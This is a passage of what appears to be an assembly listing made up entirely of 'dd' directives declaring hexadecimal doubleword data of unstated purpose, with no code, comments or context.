0D239660h, 5D8E00EEh, 79F260BAh dd 68011D93h, 0AAF844F5h, 61E0CBA7h, 0D56E00BFh, 7329E3FFh dd 980089EAh, 7637EF8h, 4D7DEDh, 0B33D6E71h, 0ECC5D570h dd 0CE551300h, 0AF8B31F7h, 20090ACh, 0C90D896Eh, 0A660B6DAh dd 523A4891h, 457E82FAh, 0E233CF22h, 0E03880FFh, 53EFE44h dd 0FD2A39FCh, 1F40558h, 7758400Ah, 0A99F4087h, 92B60501h dd 23399136h, 0E2E8470h, 4F17E5C5h, 0ED504560h, 2A02C47Ah dd 1556E908h, 67284029h, 5E540023h, 4FD47E3Bh, 8F1DDB4Ch dd 0EB475747h, 73208617h, 0A0CC9E83h, 0BD98E0h, 548F9D7Eh dd 92F32123h, 754AD501h, 0F6C949B1h, 83072981h, 0F0DD9E89h dd 810F653Eh, 0C0644616h, 298B7DC9h, 0E0681E67h, 9E380BEh dd 0BF8150D5h, 0C2108F12h, 17EE2C40h, 0A74904h, 81ED339Ch dd 2426B5B3h, 485F371Fh, 93424500h, 2460FE0Ch, 140D959h dd 36B5978Fh, 0B402EC7Dh, 0F228C6F8h, 0C100C8EDh, 5A0B46CAh dd 3FFC997Ch, 0D8585203h, 0C596F001h, 80B1F872h, 0EA8693C0h dd 2A9433h, 0A09E2BCh, 43A747EBh, 906D2924h, 0AF8E8D0Fh dd 0E0350A23h, 152C7101h, 10065C7h, 7B00F457h, 1CC885BDh dd 2499C206h, 80D85BF2h, 0B60C94BBh, 8800CAF1h, 45E66616h dd 5C09302h, 945FFE65h, 87A10018h, 1A75AAADh, 0BD088602h dd 0C12857BAh, 0C9EC0DBFh, 76D00032h, 8D601289h, 5C0046C5h dd 6FB67245h, 0D225E8h, 0CF481B1Ch, 81B23384h, 79536C00h dd 12319AD4h, 0B4FE0078h, 41ECC194h, 0A700C4C9h, 0FDFF6A5h dd 1442977h, 721FB053h, 0C01A0AB8h, 8C00E567h, 0F027555Fh dd 95AFC7h, 4B2571FAh, 57FBD12Ah, 0B10085B0h, 16FFD679h dd 8DD50Eh, 8B81B7E6h, 98B47758h, 99DE5A00h, 0E829669h dd 0F223D91h, 50604200h, 5FDDCF4Bh, 0A8447A05h, 9C40A51Fh dd 0B0AAC516h, 0EF68003Ah, 2102E39h, 7638247Eh, 9B2D00E1h dd 0A8DA9A7h, 68403CEDh, 0A1E38887h, 459D20E5h, 30EFD913h dd 1E15FD54h, 84DA1Ch, 260DD2DDh, 0EE55CAh, 7DD7DFBAh dd 0AC3441A4h, 0A9E23Ah, 0B8053AA7h, 0A344AEh, 71EA8F3Fh dd 2E63FE72h, 418C3100h, 0E72D1CDEh, 5ADC0E1Ah, 0AD20ED5Eh dd 0D6367EA0h, 0C7BF8002h, 0C0CF47A1h, 1445C58h, 419B0B2Ah dd 0E4D414A0h, 330076B1h, 593FA19Dh, 154692h, 0F15D94B8h dd 3BCB1002h, 48F66639h, 7CF20044h, 0B81CD041h, 987707D8h dd 70DCD26Bh, 3EE1ECAAh, 96C42800h, 72A4DBEDh, 92533867h dd 10E60900h, 0F6D4E44Ch, 81C93100h, 0E3EA84AAh, 927C7E3Dh dd 42510074h, 0D518656Ah, 40079F31h, 4E8A4C19h, 0BD259140h dd 0F2D91226h, 0D57C0168h, 0F9E9758Ch, 0D810875Bh, 5ED0ED81h dd 0E3E4F88h, 9B4CA074h, 0E144B4E6h, 0A4F62800h, 7106484Dh dd 0D0CC12B3h, 0BD9C00A1h, 0D9BB167Ch, 6B008090h, 0F2ECC0D6h dd 0A2D445h, 0D7C6EFAFh, 0CE95048Bh, 41762600h, 1DA398CBh dd 1A1FC3Bh, 18BA3C4Fh, 0C859D852h, 0E90094C5h, 846A068Ah dd 1D190B1Eh, 0C2ABE458h, 0BE72962Eh, 0E44DFDE1h, 0C816BA07h dd 8C00B4B0h, 131EE192h, 4E580098h, 2F2A03A7h, 1C00F639h dd 0AC4190F2h, 0FAFDA5h, 0E273440h, 8F9EC21Fh, 6E4DDCB0h dd 178C1E58h, 0D4008992h, 0BA9D04AEh, 79BC0076h, 398054Ah dd 0DE160D6Eh, 9E033F02h, 0E8ABC963h, 2EAAF12Dh, 9F944694h dd 0DDEA8081h, 6183F5E7h, 2044D801h, 87623E91h, 0F3008472h dd 594D8A45h, 2E074BC8h, 7380503Ah, 0C09C9663h, 1061B81h dd 0B81832B4h, 0C4E24C6Bh, 0C100F6A6h, 0FA543E4Ah, 2AB0658h dd 0E9691AE3h, 2AE0D5CCh, 6EC09649h, 268B7B18h, 0D7F7005Eh dd 8EDD455Fh, 0B80097F0h, 553F890Bh, 0CA4828h, 65D3D87Eh dd 0AEF2DAE1h, 7CF35618h, 1091039h, 5B3D8713h, 8BFE8Dh dd 58E0C97h, 56ED60Eh, 0BE9AC186h, 0A541F4A4h, 215C0105h dd 1890FACDh, 13B3CB2h, 0CC92D227h, 606094A3h, 0B402C7B8h dd 9BE6AA6Ah, 2E69E148h, 0E61FAD70h, 43860A3Eh, 989227h dd 8C48F0FBh, 0E8005E79h, 9BE0EACh, 3B884CC1h, 34A4133Ah dd 0C3FE0358h, 79009E6Eh dd 0C1DA2F3Bh, 30DC5AEDh, 1B19EBA0h, 847415FCh, 97B11F14h dd 0E7130C18h, 0BB44935h, 88942EFCh, 0FA9DAE80h, 3E0071C1h dd 0B9911C6h, 0A281B0h, 1ABBC0A3h, 2EECE8C8h, 544D7371h dd 62A10688h, 5703F94h, 9DD8145Ch, 0C754005Ah, 0DE851988h dd 9604EE00h, 0FA3DAD30h, 4972DCh, 0F9A2B2C6h, 2BC2799Ch dd 0F5035900h, 0DB5D5B2Ch, 31FD2053h, 387D7128h, 8EE9DE6Fh dd 0DBD8828Eh, 0F914805Dh, 794BD148h, 0F62E00C2h, 0F5BC20A1h dd 1E01D563h, 260F5670h, 14D8B6EDh, 30D80091h, 4C114194h dd 0DCE1E316h, 0C2E2AF53h, 0AEC02A00h, 6F29A3E2h, 62021D6Ch dd 495E45h, 154AC63Dh, 0D500A95Dh, 0EBD4347Ch, 2797FDh dd 0F5789C8h, 152B488Bh, 0DB6F6E01h, 265C0372h, 3BC7D5D4h dd 77001892h, 0E1491D9h, 0B5F4DE60h, 7F6C2B00h, 514933C1h dd 8F3C000Fh, 0A968919Ah, 0FC00890Ah, 4742D281h, 0EA225Bh dd 3EBD4065h, 6825F814h, 0FFF1D400h, 0C67E8169h, 80DB0034h dd 0E4D62DCDh, 0D20039C8h, 51FED489h, 1D217BCEh, 45B02Ah dd 3B413426h, 4A1FFAACh, 3BEB3FEh, 8855DFC4h, 7E47F065h dd 0CC780094h, 9A803729h, 17E29F9Dh, 2781AA00h, 7C414FC9h dd 8DB00C5h, 7A5B9FAh, 8503A0F3h, 0E50293A6h, 33E4F8C6h dd 95BF00F0h, 3BAB1997h, 3F6026B6h, 47090F49h, 500D00DBh dd 1161C49Bh, 1F75C820h, 0F6CE2400h, 0B93B664h, 0F8B83A53h dd 6811AD80h, 0AB318405h, 62675C00h, 0CF2389E9h, 29980072h dd 9F755DDAh, 3F00CCBFh, 7438A670h, 781E6545h, 8DF210h dd 0D7AC29C7h, 570A0F87h, 3120C300h, 0F546E513h, 0C062FAE7h dd 2821AFA0h, 4200161Ch, 579B5C31h, 0F6FE22h, 0E0938869h dd 4DDBA392h, 4F05747Fh, 2E25F491h, 0A76F9C43h, 0F38AEBDh dd 887037C9h, 0E0A49400h, 68602FFCh, 86FD4B30h, 0B20500F0h dd 5E4C57B3h, 0A80ECD78h, 7C2B1790h, 75013A00h, 0F4AD3Bh dd 2078BB8Eh, 25848626h, 7233Ch, 3D9A7E8h, 3E778C94h, 145C7463h dd 83A13900h, 790881AEh, 0E3AF600h, 456997E3h, 0B60700FCh dd 0E8B9C6D5h, 0CA03BCEEh, 9DCD6DDDh, 0E33C9847h, 0EA6607B5h dd 4FBD8E57h, 9A40D8CFh, 0BBC4B70Ch, 24182D00h, 29F7CC5Bh dd 6122003Fh, 58C1A96Fh, 3B00BEBAh, 64B1E613h, 5063360Ah dd 5AB74Dh, 0B7949B43h, 0D4C3F5D6h, 31B1F81Eh, 1F3DD49h dd 0C62E616Ch, 27A8F0h, 0C041F72Dh, 50214A3Fh, 679AEB00h dd 7CAE817Fh, 14E807FEh, 0F4444E0Bh, 5A2C932Dh, 942B3FE8h dd 4C39BC24h, 4C20D904h, 0ECB6A280h, 74C000CAh, 0C3B21A04h dd 140061CFh, 0A17703BDh, 3DD1D2B9h, 0E854F962h, 35B0A001h dd 591F0323h, 0F1E2F583h, 925598E8h, 42710700h, 252E46AEh dd 0D5D90A8Ch, 0AD82939h, 16ACEFE5h, 3D6400B0h, 34577D69h dd 0AA8BC200h, 0D4B8DD12h, 86A51C19h, 0EECD0064h, 1CBA81A9h dd 2E94D504h, 2080A4E6h, 2715D37h, 5635F9ECh, 76427B2Bh dd 7F3814A0h, 8B00C17Dh, 0B1239B97h, 5BF386A6h, 8E81A16Dh dd 20C61811h, 0B2C596DCh, 0B4E00ABDh, 0B8F572h, 36797091h dd 0FA0FA627h, 0C21D9BAEh, 817E5B53h, 0B2A73CA8h, 2778E4h dd 0F3DB522Ch, 4D227907h, 75B13000h, 0FDD49EF2h, 806303EAh dd 1A2C4015h, 180CD87Eh, 0C8DC6181h, 56A803A2h, 0DF7E7BCCh dd 5B2B70D8h, 0E9DE2700h, 81576A14h, 0FA2C986Bh, 3D1B0138h dd 0EE8D9D8Eh, 0DB59208Bh, 0D0B66500h, 415D4302h, 1C3A2880h dd 86A40098h, 0B8558824h, 0A7388EDFh, 15EE03DAh, 0E0BAEAE9h dd 186D2AF8h, 0AC45BF69h, 500C573h, 0E4CEF5BEh, 0DF7BF4h dd 1663DE28h, 0A0390B03h, 0F2180900h, 91F7E7C1h, 0C250760h dd 60756BB4h, 780E3219h, 0CD743900h, 0E9080A6Ah, 0C9AE28E8h dd 0B7AC8095h, 92C8601Ch, 0E3EDB0F3h, 2A03337Bh, 939BB175h dd 8A6FB83Eh, 0D0DF603Ah, 0F76AE0E3h, 7C9F6E00h, 0D59BF404h dd 84781EA5h, 0E6CF80C4h, 3F85BF99h, 44E44B7Fh, 0FACA0400h dd 8FB38CADh, 69AC00ECh, 26105868h, 0A4789CB9h, 0F031FF6h dd 0E00184A8h, 71AEFBh, 46449173h, 65186795h, 0D93FB909h dd 78C4204Eh, 8F2B3Ah, 24EA4A13h, 3D0CAC91h, 218883Eh dd 0BC5FF561h, 0C5F4839Ch, 0C101069h, 0B5AB00A4h, 0A4719FEh dd 0A2BC0673h, 911BB48Bh, 0B9829901h, 9D0FCD8Ah, 4B1309Fh dd 0D34DD40Ch, 785038Ch, 90EC65E8h, 138EA707h, 2550B000h dd 0B8FA2756h, 961500C8h, 63E8E147h, 0E200BA11h, 81D92259h dd 0EEF3D7C2h, 0F6E74877h, 0BDA80B24h, 415C11h, 0CDA892F8h dd 9870FFh, 0E52B331Bh, 602FC18Bh, 0ED14CFE8h, 2D4581Dh dd 26757CFCh, 0D6C7004Dh, 0A11F0145h, 0A3413730h, 645EBE10h dd 29B9830h, 2F995A26h, 6DC00CEFh, 0BA3FF68Fh, 19F8067h dd 69154E87h, 3250008Bh, 0EC36D561h, 471D1099h, 8AC07C20h dd 0E52D95CCh, 9B520E80h, 0C30F5C1Eh, 68E02A7Ch, 0E01881h dd 0EFFE71Ah, 0F93B092Dh, 45F31466h, 370077E4h, 0D56D2653h dd 0EE4830h, 8E430D64h, 29A01E86h, 0E4EC7B00h, 56A7C96Dh dd 3E09F66Fh, 2F054BB5h, 0EBE90Dh, 27F1889Fh, 23007284h dd 1BBC063Bh, 46B8FADh, 9A166685h, 1F68806Fh, 4D0413F1h dd 176884D1h, 41003885h, 36FC55Eh, 0FED003Dh, 59E9C7D8h dd 0E500EA2Fh, 60FA831Dh, 0A9ECACh, 0C8FB4941h, 0F2DA3029h dd 59274F00h, 790C1582h, 74C07B7h, 0A06DB267h, 5C3A6CAEh dd 1F76881Dh, 8DDF5A40h, 3E432CBAh, 0EE93A6D2h, 243801A0h dd 4077C4D4h, 0C207BCF0h, 0D26F6D07h, 3AB00B3Dh, 73F59627h dd 0E70D2EB7h, 0FD52005Fh, 95595B8Eh, 0C479CB00h, 0A9114F89h dd 38162482h, 0C7918190h, 0C879BEEAh, 49FA6D2Bh, 0A50C8C26h dd 0D921EF00h, 0D5C483h, 29285D1Fh, 9503DA42h, 617CDE0Eh dd 40FC00B7h, 0E49F58h, 2413A9A7h, 0B41247AFh, 0E842249h dd 988D3FA6h, 0EDF1C70h, 0C72BFB81h, 9882E28Eh, 108093A7h dd 0D1228010h, 0F9D84607h, 0F247A6DEh, 0E3756F40h, 1868B263h dd 0C1F887E7h, 0F30E8A77h, 81925BF6h, 678D660Ah, 0F8B25DF0h dd 63A70FD8h, 7700AB69h, 8CD60AEEh, 0F38221C0h, 7581F711h dd 4A710C53h, 0E8A02A64h, 0A8DB5C06h, 28D02D54h, 30388E48h dd 0ACD921F9h, 107C2D64h, 0A10D28C0h, 0FE7D8DA4h, 289056h dd 39D6702Ch, 0B99051ACh, 40482500h, 2123BABEh, 0AAF0011h dd 545368D5h, 26000F7Fh, 5EFCF3EEh, 1A208h, 24F727BBh dd 0F5AB25DBh, 70CBC100h, 0F22205FDh, 0B0BD036Ch, 6A74D0B3h dd 5B034390h, 5DBA2604h, 8BC03614h, 3D5C9901h, 2B8020B2h dd 0C41E22DAh, 0D9E0F675h, 0FF286E05h, 0D0C0782Fh, 0FB27666h dd 0FB198C57h, 1A219C00h, 5B0093F1h, 0BF4BD24Ch, 0E3E506h dd 0A6E7591Ch, 0BE195417h, 0D71C27ECh, 8047C4EAh, 400B469h dd 0BF2223h, 4307C5D2h, 1CAE6026h, 4DF6630Ah, 0FEBAE45Ch dd 0FA1D8113h, 9A02F807h, 20281B60h, 30892A9h, 562A894Fh dd 0C2B80870h, 33006993h, 0FBF69C58h, 31602BEDh, 4E105E27h dd 0AB59806Bh, 5670319Ah, 951ECE34h, 38813E29h, 0EF0378DCh dd 18A53010h, 0E406FC48h, 41514FA3h, 0D4EFE100h, 0B585561Ch dd 0D0EF6C7h, 0AB5095A8h, 265A2099h, 0A48AE224h, 0A4FBD441h dd 0FD25BDCh, 62758D04h, 21CC8EC6h, 0A4F43600h, 2F556CD4h dd 1CDE1E21h, 0EB4946A6h, 0A80B9006h, 89E897C3h, 0BF318350h dd 0FC180C3Bh dd 0CB795D3Eh, 9519CE07h, 0D5502F91h, 21440Dh, 539CEF7Eh dd 0C7DD2C2Ah, 18F73D00h, 0FCDE9926h, 3BB8C3B8h, 57EB3CE6h dd 405E71D0h, 16C9A00h, 89972985h, 0E0F20764h, 0D018F32Ah dd 0B71CB3D0h, 50175D7Ch, 6E03EFAAh, 0AB8F7206h, 0D54ED826h dd 0A8F000FBh, 338A6D21h, 9D3AF22Fh, 94741E90h, 7FA0F181h dd 88F4FB12h, 8EB6F2Ah, 0F8B8213Bh, 110323A0h, 0B546FA0Ah dd 8D180E22h, 0E343B215h, 0FDE81AA3h, 0E507F6BCh, 0F945254Eh dd 8ACF740h, 6CBA1EEDh, 73FC468Ah, 0FF218094h, 0A0F2809Ch dd 30C31280h, 0CE824486h, 0F3A0F901h, 0EFF1BDD9h, 8429E0F2h dd 6DAB00F7h, 657A0E49h, 31C78F89h, 0D741C18Dh, 11BE30B4h dd 0C6455680h, 90E828A5h, 850AE31h, 20806385h, 0BD45FEEAh dd 1D006C8Fh, 0B1D54B84h, 0C7671A8Bh, 3159B5B2h, 9E61479Bh dd 7E802F30h, 0D9FAF150h, 0E2AB1970h, 804908C9h, 4FD62221h dd 0A0C409h, 8827C792h, 404B3A8Ch, 46DA28A0h, 4FDB0486h dd 62B1FAF6h, 0D323204Ah, 430F694Fh, 0A0AE7AEDh, 5458172Ah dd 4974031Dh, 23B4B087h, 2600F17Ah, 99C34E1Ah, 7141C4Ah dd 0AE6D04A3h, 265D0A2h, 4D968142h, 0C5FE6102h, 0A8A08049h dd 1DA18EB4h, 80E9BB14h, 9F3D285Ch, 19000687h, 955B7160h dd 4C6C3085h, 5500D3E3h, 58168C02h, 8600D132h, 358D88F4h dd 640B9DA8h, 0C1CCA0C0h, 0E8E0C791h, 0DA1FF7F5h, 0D941FDAAh dd 0E2C3E56Bh, 77B91E8h, 333F592Ah, 0F04F473Ah, 1040C94Eh dd 35798900h, 7C6964BEh, 93D70EECh, 0F043A4F7h, 60CFA552h dd 9E7A4375h, 489CAE1Fh, 0AA1A9507h, 3E91664Fh, 0E41B1D38h dd 34C2E66h, 741122C8h, 0D71F72C0h, 0FE75148h, 0A08CDB85h dd 0A8795C0Fh, 0AB583A48h, 0BA82E987h, 0EF02C07Ch, 0C006C50h dd 326724A1h, 5AB8FEh, 47138E1Dh, 0E86A5B52h, 0C6FBAA00h dd 7157F593h, 84DE01E5h, 0D4819B24h, 0A2C89CEFh, 0B88E6500h dd 385EB2DBh, 3BB9C8D3h, 0D6628C87h, 0B868467Ch, 0E3FFEE00h dd 6761EFD9h, 84BF5535h, 0AC36D4h, 156BA7AAh, 8A81B63Eh dd 0D1633200h, 9259CF65h, 0ADE00F47h, 79188861h, 0F018957h dd 0F3AB2C01h, 54D8471Fh, 0DAD3003Bh, 0D8CE3EC2h, 9A73F072h dd 9B506E71h, 0E288FC9Ch, 18012009h, 0A1C1B575h, 25734A9Dh dd 0F36DF4DCh, 28F1F0h, 0E8DE380Ah, 0ED518229h, 346F1600h dd 6DEA5736h, 0D1CE009Bh, 0F2982DF0h, 30E0BC8Dh, 8800A4B8h dd 0CAC8A8A2h, 1F0F2B56h, 80899AA5h, 96878690h, 84038B36h dd 98273B6Dh, 9D92D079h, 38E00C5Ch, 1B60620Dh, 665B7A00h dd 63FD4013h, 0A6353D1Dh, 0FE9F1F00h, 9C010324h, 27015178h dd 17BEE755h, 0CC873FD9h, 10D87437h, 0F8E1E82Fh, 0D153B500h dd 487061B2h, 6F92031Bh, 384D03CEh, 8C568B88h, 9E00A1F6h dd 0BA3C6337h, 31AEDFCh, 897A6092h, 0F888C377h, 2100E457h dd 201B315h, 1C1E3764h, 0C3B517EBh, 0C6E56A1Fh, 8E5433D0h dd 0DC03C506h, 771E3F83h, 0CCCA009Eh, 62777155h, 0A1002B07h dd 7DA22659h, 3AFCBBEBh, 763106h, 47FBC40Ch, 0A837A4ADh dd 596B4A09h, 622F008Ah, 0C6909h, 0AEFABFF8h, 0F5283FADh dd 935638h, 1B72B8C0h, 14DF290Bh, 0DBE69845h, 34FC3D00h dd 0C895EC52h, 0B8F0500Eh, 5498803Bh, 9C92D1h, 4F038829h dd 0AECA8755h, 473F5C18h, 0D61D7Ah, 7144E5EDh, 891C179Bh dd 95963300h, 0B71930EEh, 4080282Eh, 0A17800F4h, 4D539B32h dd 88004602h, 0D7A91142h, 443F62h, 0B11A674Eh, 698C286h dd 0F5F66401h, 1FFEB92Eh, 3DF1E8h, 402C0F35h, 0D197CA32h dd 3900BEB8h, 18E89B84h, 0B0A07E9Dh, 5F072663h, 512B0A5Bh dd 0C8D0180h, 8010EEDBh, 292C6170h, 399A5A50h, 87036A8Fh dd 0CEB466E8h, 0E04195D1h, 5B07D5EBh, 2CB74E24h, 0E0DE4383h dd 58A484h, 74850DCBh, 19D0C14Bh, 28B39000h, 64132DC4h dd 5DC8002Eh, 5A2A9585h, 340A8DACh, 0B2F95439h, 0C3624F02h dd 682A6067h, 0A65B003Bh, 74A50964h, 1914B97Ch, 983F0Dh dd 7F36A141h, 490BC5Ah, 42874D1Ch, 735890D9h, 0FC00CFA0h dd 0EE33F961h, 0EEA72EDh, 0C52F9AF3h, 0BD642260h, 0B61D3B9Bh dd 99815AE3h, 0D42AEFFh, 74809CD3h, 0DC795Fh, 8906B3C6h dd 0BE484E34h, 7157C2Ch, 1E10B705h, 0E84FBC02h, 0CA08000Eh dd 3500D070h, 96577E31h, 0F6627B5Eh, 5349001Dh, 7A25A754h dd 8602470Fh, 111A697Ch, 3B06C08Bh, 5A7200AAh, 88D5FF01h dd 5F01CC43h, 1030246Ah, 0A8F8BFFBh, 72C0040h, 0E19DF11h dd 0A20086A7h, 21E3B115h, 34854Fh, 0A8390A73h, 0C909EA53h dd 51B4940Eh, 5A3BE09Ch, 2E651246h, 2025FFh, 240F9AA8h dd 0A4002218h, 6FC1B7B0h, 7C95EFBDh, 359F00E9h, 67ACF9CBh dd 98006BDBh, 4834DE14h, 0A752F1h, 28E45877h, 0C2F397CDh dd 71453507h, 3920C1B2h, 7C2105h, 1E63FFA3h, 0A007BC89h dd 3B45D512h, 80178A1Ch, 621F6A12h, 0E71EBA47h, 6C919AC0h dd 4BF90041h, 7A8D5119h, 1034630h, 87CB1058h, 0C967C377h dd 81E9B1F9h, 0FEF16CE4h, 0D9CD00A1h, 9C53A49Dh, 0B800471Bh dd 0FF9A5592h, 1F04DFCCh, 0C0BAE93Bh, 3338D283h, 6C2CDACEh dd 0A00FA15h, 84A84070h, 0E3F30995h, 27547CE8h, 0E1CD9E00h dd 0FBA94Dh, 2B50684Ch, 36B5DF0Dh, 8065F0CBh, 5FB0F855h dd 52E50006h, 0F6D6192Bh, 3207DE03h, 3597057Bh, 2A5A6BA1h dd 0C0CEC5CCh, 6C3F33F8h, 7F02AA80h, 9D28933Bh, 24B180B4h dd 15B27CF6h, 0A89F9258h, 0CC4D0F03h, 1803884Bh, 85B7675Ah dd 5999D0E7h, 0F7F246h, 1557B5C5h, 5614809Dh, 0C3767900h dd 1237D46Fh, 4F5E0C44h, 0AE82CD2h, 59BE711Dh, 32295A80h dd 0BA9469h, 9D23F42Bh, 817620B8h, 6F073492h, 2AA0D15Ch dd 45787E30h, 0C2580A5Dh, 2DEC0EFh, 5610BD52h, 0B3633440h dd 33EE8403h, 0E041986Eh, 541BAA4Fh, 0F4C32821h, 5255009Eh dd 0D0AC3AB0h, 8E03D497h, 22DE6247h, 0A8B8D3CAh, 7F0DEC58h dd 918400A7h, 8588C816h, 0A600B9D0h, 0EFE1CC17h, 18061DD5h dd 0D8398FF0h, 0E0A9F222h, 0A24CE893h, 2534BD0Eh, 0BE602442h dd 0C041A482h, 7229085h, 5C8FFF53h, 908684C5h, 0C2A6C44h dd 0F8A91700h, 1C9E96FAh, 0CB9700E2h, 9A10A8A3h, 2C000B02h dd 0CA1D112h, 6250E7h, 0CC1FA91Ah, 0D33FDD41h, 340FDE00h dd 3B5948BCh, 535D1C14h, 7D6A8084h, 0BAD16CC6h, 9F8D0C00h dd 0D3FE86A8h, 64590095h, 0F550FBD9h, 4E001469h, 1015DD1Fh dd 0B757B7Ah, 813C3FB8h, 0F4A160E0h, 0BD9F2103h, 0E77D8CDFh dd 0BF76841h, 922850E4h, 265700FCh, 21178CB2h, 0EF009FB0h dd 0FDCDC247h, 71373Ah, 827BDF2Ah, 502E5374h, 5839FB00h dd 0A16FF538h, 69BF02A6h, 3A2D0755h, 2E4FFA80h, 10383896h dd 0E14E002Ah, 0B50D60F1h, 8AB801DFh, 5377D320h, 8533D403h dd 28A2D81Eh, 0ECFC6680h, 0AB313Dh, 5740B46Dh, 3BA00619h dd 0D0E3F905h, 0A6C06595h, 0EE28D6ECh, 3CB700DAh, 1E69F49Ch dd 0B40E6E8Bh, 404B0A59h, 8DA47AC4h, 0CC2300DEh, 0D7BC35D1h dd 0D20014D9h, 0EE9F507Eh, 49033242h, 6E010C0Fh, 0BF8DEF44h dd 43F3D88Eh, 0CFCCEE00h, 3CE2785Ah, 25561479h, 3300480Ah dd 0F84B6697h, 6DFA37F4h, 0E1A8680h, 71F27ABBh, 0C0855145h dd 5AD89CF5h, 4AF7E8E9h, 34B0AC49h, 0C8905CC0h, 114BDF9h dd 159D5BECh, 0BC6C7FF0h dd 1C0D4018h, 4099D121h, 17B4F233h, 7F0067E1h, 0FD8F3A30h dd 26FE5AEh, 0A5B01D45h, 2C8E75C0h, 7D005F6Fh, 4D2F2BD8h dd 70123Ch, 0A1F45513h, 77E5BC9h, 3671CAB1h, 45F38215h dd 5A325087h, 7712585Ch, 377B038Eh, 4285FF11h, 1FF77EB0h dd 96C6103h, 0F8B5B720h, 524E006h, 51EEC00Ch, 0EFEB8069h dd 9014396h, 4D7E30F0h, 5994143Dh, 97E20484h, 202FDAC0h dd 7B513B1Fh, 0F64F5C00h, 0AB5748h, 0E4391879h, 1D49D9EBh dd 0EF41440Ch, 3840B3h, 0B63A1F23h, 98244052h, 17BFFF01h dd 621104BEh, 601AB820h, 0F6852019h, 42E4F805h, 810420A7h dd 3831BE32h, 9EDD2Bh, 18D0971Bh, 0B809C13Eh, 270F5F20h dd 5CFDE572h, 32F05CC0h, 6C04471Dh, 35D8C80Dh, 0E9A49A04h dd 6AC02885h, 120ABE54h, 4FCFB7h, 8F7B50D6h, 0C23A07A8h dd 98A9B385h, 4309CA53h, 65F0EF0Ch, 1DE7A5Ch, 7B673381h dd 8C4EBB61h, 201B4008h, 0DE920071h, 0C6709FF6h, 19C06823h dd 0C88DA033h, 45E10FB1h, 0BE7E4C62h, 1E1B3C1Ch, 3611C072h dd 0C64179F6h, 0DB6D9400h, 0C30264E5h, 6F29C09Ah, 0F87A7D9Fh dd 0F50101Ch, 4B0821D9h, 87592185h, 7216C37Dh, 5A8F1003h dd 0DA190EB7h, 0E7E1C0D7h, 9A7001C6h, 425DF527h, 652981F8h dd 7797B6ADh, 0B0051180h, 6ADA0E16h, 0C1C0A28h, 42BFF626h dd 45B27A00h, 3FB382Ch, 0D7F80E4Ah, 180066F3h, 3FDC19A1h dd 0C3A98E2h, 0CDD9A035h, 0A30E16F8h, 4CA23403h, 709E80Eh dd 8D350C4Ch, 0EB7B90BBh, 24034869h, 972C3C13h, 0C579007Eh dd 0F834CE03h, 9B702F08h, 0C8087066h, 0B400021h, 80FD71CEh dd 477C3A28h, 0B8A8D1EEh, 0A003FBC3h, 1C77454Ch, 0D8CE9764h dd 158A6A0h, 1B2120CAh, 4185801Ah, 8CC2D5F8h, 617C9738h dd 2ED61ECCh, 40E2FB65h, 0F6005A54h, 0AC3F6BDFh, 358E047Ch dd 62E4180h, 2496196h, 0F7D31569h, 0BCA0491Ch, 4837AC19h dd 8A8F200h, 2DCE558Ah, 3FD0145h, 7A8BF639h, 0F21850FFh dd 7CB03798h, 0CDEE5503h, 0B89FE582h, 0AB1F3h, 65298DBFh dd 0C6451AC7h, 3E102048h, 0C91C0039h, 8F4964C2h, 9865403Fh dd 0FC997661h, 3E31D575h, 6D86B8C3h, 0C5113034h, 478A941h dd 0AC584B0Fh, 779A02EAh, 0A3BAC006h, 1F0D657h, 0E53F11B2h dd 0DA981B0h, 0C783307Bh, 156BDCh, 0F638E1B6h, 0F4801BACh dd 52CA2F00h, 8F75B273h, 0F943010h, 283B3C38h, 6406BE03h dd 0CBB0C103h, 5108305Bh, 0BDFFFC21h, 4A7E012h, 21DF4804h dd 3010CC10h, 33850E48h, 0C0506AA8h, 1B20A900h, 75136F75h dd 2FC930B9h, 0FC732C29h, 0A48DFE2Ch, 304F7C0Dh, 0DA1B6980h dd 9A0D1FFBh, 123E8091h, 0B8218D49h, 19807D97h, 18EFF79Bh dd 200044CDh, 4B9AFFD1h, 295076DAh, 0B49745h, 0ABC4AE0Eh dd 0CE0052D7h, 7C2D948Eh, 30F7FE36h, 1BC89003h, 0FD31E142h dd 9D62711Ah, 3589AD10h, 804C9019h, 1032E4A8h, 0F33349F2h dd 0AEF5AF7Ch, 2BD7410h, 0D81C9657h, 9C6C4869h, 63CC1B97h dd 0A0101046h, 0FC8542B3h, 33D841A8h, 87CBE988h, 4FFBD890h dd 206980Ah, 716143C4h, 54741C10h, 971646h, 7DA31C88h dd 0C11EE218h, 0B215C2AEh, 0DFDD00B0h, 7A968C9Ch, 50510010h dd 5E9FD6BBh, 2B33D464h, 9962903Ch, 80574A7h, 34C08C20h dd 21641ABEh, 591C0E3h, 0BE0C5003h, 0E6F85713h, 0FF024910h dd 7BC4BB96h, 584C32h, 0EBE243F7h, 0ACB97799h, 3534BF0Eh dd 0DFF581B2h, 808079E3h, 0B49BD141h, 94B8C498h, 0BC72A0C7h dd 12708E46h, 407B100Ah, 4B068700h, 8200F609h, 5078F846h dd 2666D20Ah, 74F80F15h, 25006746h, 0EC3C849h, 0FA284C78h dd 1400C008h, 0BA1751D9h, 0E7F3423Dh, 9612B050h, 0B8834D6Dh dd 58B3B04h, 0C04B089Dh, 0F827CE04h, 0C6227046h, 0CE0C2500h dd 49C50D80h, 0CDDA1F51h, 2AAC0E72h, 680C80FBh, 79B6186Eh dd 0FABB0003h, 0C92CA73Bh, 0B8982DA4h, 10327215h, 82413ACCh dd 0C6667F1Fh, 162481A3h, 0BE710E1Bh, 465C4984h, 47F082DEh dd 5744C0CCh, 0DE3D00FDh, 29FD2EBh, 0D1F03C0Ah, 960C6402h dd 804D4BACh, 27397ED0h, 145B0ED5h, 0F1067B32h, 711889B3h dd 89C00FE4h, 3222F883h, 2FF8C57Bh, 9D3B3860h, 70D48E80h dd 990924E7h, 0EA8F04D4h, 23E4107Fh, 7D86010Dh, 1888F847h dd 8E5E8873h, 0CBE07D4Bh, 790D7A42h, 0C2D00F1Eh, 84940AABh dd 58A1BD0Ch, 552488F8h, 3800B87Eh, 30905EA2h, 0A3AD01F6h dd 44162F77h, 88E84E3Bh, 101DC7C9h, 13BB9C2Ch, 2FDFF401h dd 226FF7F8h, 37A2F080h, 305F1B61h, 0B52068BAh, 0F4571560h dd 5048D813h, 4AA4103Dh, 483903A0h, 0E90040C4h, 0CC7EC615h dd 26B41AAh, 9BF61D68h, 0A4C08DA6h, 418242A3h, 0AC51FC44h dd 4460F972h, 0C3B41839h, 5DF494Ch, 57435900h, 0C7978516h dd 56F498h, 33441A83h, 0E13071D0h, 